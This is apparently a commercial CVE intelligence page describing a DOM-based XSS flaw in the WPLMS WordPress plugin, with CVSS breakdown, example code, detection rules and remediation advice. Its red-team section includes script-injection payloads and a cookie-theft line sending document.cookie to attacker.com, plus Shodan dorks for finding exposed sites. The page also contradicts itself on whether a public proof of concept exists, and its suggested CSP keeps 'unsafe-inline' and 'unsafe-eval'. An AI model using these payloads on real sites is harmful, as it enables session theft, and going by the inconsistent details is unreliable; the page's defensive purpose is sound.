☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Vibethemes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-63035

CVE-2025-63035 Cross-Site Scripting in Vibethemes
📅 PUBLISHED: 2025-12-09 14:52 UTC 🔄 UPDATED: 2026-10-08 23:10 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-63035 is a DOM-Based Cross-Site Scripting (XSS) vulnerability affecting the WPLMS plugin by VibeThemes, a popular WordPress learning management system (LMS) plugin. The vulnerability exists in the wplms_plugin component and allows an attacker to inject malicious scripts into a web page through improper neutralization of user input. Since this is a WordPress plugin vulnerability, the attack surface is limited to WordPress installations running the vulnerable plugin version (<= 1.9.9.5.4). The CVSS score of 6.5 (Medium) reflects the need for user interaction and the partial impact on confidentiality and integrity. No public proof-of-concept (PoC) or exploit code has been released at this time, and the patch status remains unknown.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is part of the WordPress plugin ecosystem, specifically the WPLMS plugin distributed via the official WordPress plugin repository or third-party marketplaces. Organizations using WPLMS should verify their plugin version and monitor for updates from VibeThemes. Since no official patch has been confirmed, users must rely on workarounds such as input sanitization and Content Security Policy (CSP) headers.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
  • Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium – Exploitation requires user interaction, but the attack surface is broad due to the widespread use of WordPress.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS flaw in the WPLMS plugin. Unlike reflected or stored XSS, DOM-Based XSS occurs when client-side JavaScript processes user input in an unsafe way, modifying the DOM (Document Object Model) without proper sanitization. In this case, the wplms_plugin component fails to neutralize input during web page generation, allowing an attacker to inject arbitrary JavaScript code that executes in the context of the victim's browser.

Attack Vector:

  1. An attacker crafts a malicious URL containing a JavaScript payload in a parameter (e.g., ?q=<script>alert(1)</script>).
  2. The victim clicks the link or is redirected to the vulnerable page.
  3. The WPLMS plugin's JavaScript reads the parameter and directly inserts it into the DOM (e.g., via innerHTML or document.write).
  4. The injected script executes, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Root Cause: The plugin does not sanitize or encode user input before using it in DOM manipulation functions. This is a classic case of CWE-79 (Improper Neutralization of Input During Web Page Generation).

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical example of the vulnerable code and a secure alternative.

Vulnerable Code (JavaScript):

// Vulnerable: Directly inserts user input into DOM
var userInput = getParameterByName('q');
document.getElementById('search-results').innerHTML = userInput;

Patched Code (Secure):

// Patched: Sanitize input using textContent or DOMPurify
var userInput = getParameterByName('q');
var sanitized = DOMPurify.sanitize(userInput);
document.getElementById('search-results').textContent = sanitized;

Explanation: The vulnerable code uses innerHTML, which interprets the input as HTML. The patched code uses textContent (which treats input as plain text) or a library like DOMPurify to strip malicious content.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A WordPress instance with WPLMS plugin version <= 1.9.9.5.4.
  • A victim user with a browser.

Exploitation Steps:

  1. Identify a vulnerable parameter (e.g., q, search, or course_id).
  2. Craft a malicious URL:
    http://target-site.com/?q=<script>alert('XSS')</script>
    
  3. Send the link to the victim via phishing email or social engineering.
  4. When the victim clicks the link, the script executes in their browser.

Advanced Payload (Cookie Theft):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Note: No public exploit code is available, so this is a generic example.

Blue Team (Defender)

Detection Steps:

  1. Monitor web server logs for suspicious query parameters containing <script> or onerror= patterns.
  2. Use a Web Application Firewall (WAF) to block common XSS payloads.
  3. Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup for Testing:

  • Use a local WordPress installation with Docker:
    docker run --name wp -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress -p 8080:80 -d wordpress
    
  • Install WPLMS plugin version 1.9.9.5.4 from a local file.
  • Test with a browser and developer tools to observe DOM changes.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests containing ?q=<script> or similar patterns.
    • Outbound connections to attacker-controlled domains (e.g., for cookie exfiltration).
  • Host IOCs:
    • Unusual JavaScript execution in the browser (detectable via browser console logs).
    • Modified DOM elements with injected HTML/JavaScript.
  • File IOCs:
    • No specific file-based IOCs, as this is a client-side vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_63035_DOM_XSS {
    meta:
        description = "Detects DOM-based XSS patterns in WPLMS plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63035"
    strings:
        $xss1 = /[?&](q|search|course_id)=.*<script/i
        $xss2 = /[?&](q|search|course_id)=.*onerror=/i
        $xss3 = /[?&](q|search|course_id)=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-63035 DOM-Based XSS in WPLMS Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests with XSS payloads targeting WPLMS plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '?q=<script'
            - '?search=<script'
            - '?course_id=<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search queries (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63035 DOM-Based XSS in WPLMS Plugin"; flow:to_server; content:"?q=<script"; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the WPLMS plugin until a patch is available.
  2. Implement a Web Application Firewall (WAF) with rules to block common XSS payloads.
  3. Add Content Security Policy (CSP) headers to restrict script execution:
    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
    
    (Note: unsafe-inline may be needed for legacy compatibility but should be avoided if possible.)

Long-Term Fix:

  • Monitor VibeThemes for an official patch and update to the latest version.
  • Conduct a code review of the plugin to identify and fix all DOM manipulation points.
  • Use input sanitization libraries like DOMPurify in all JavaScript code.

Workaround:

  • If the plugin cannot be disabled, restrict access to the vulnerable pages via .htaccess or reverse proxy rules.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wplms"
http.html:"vibethemes"
http.title:"WPLMS"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-63035/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.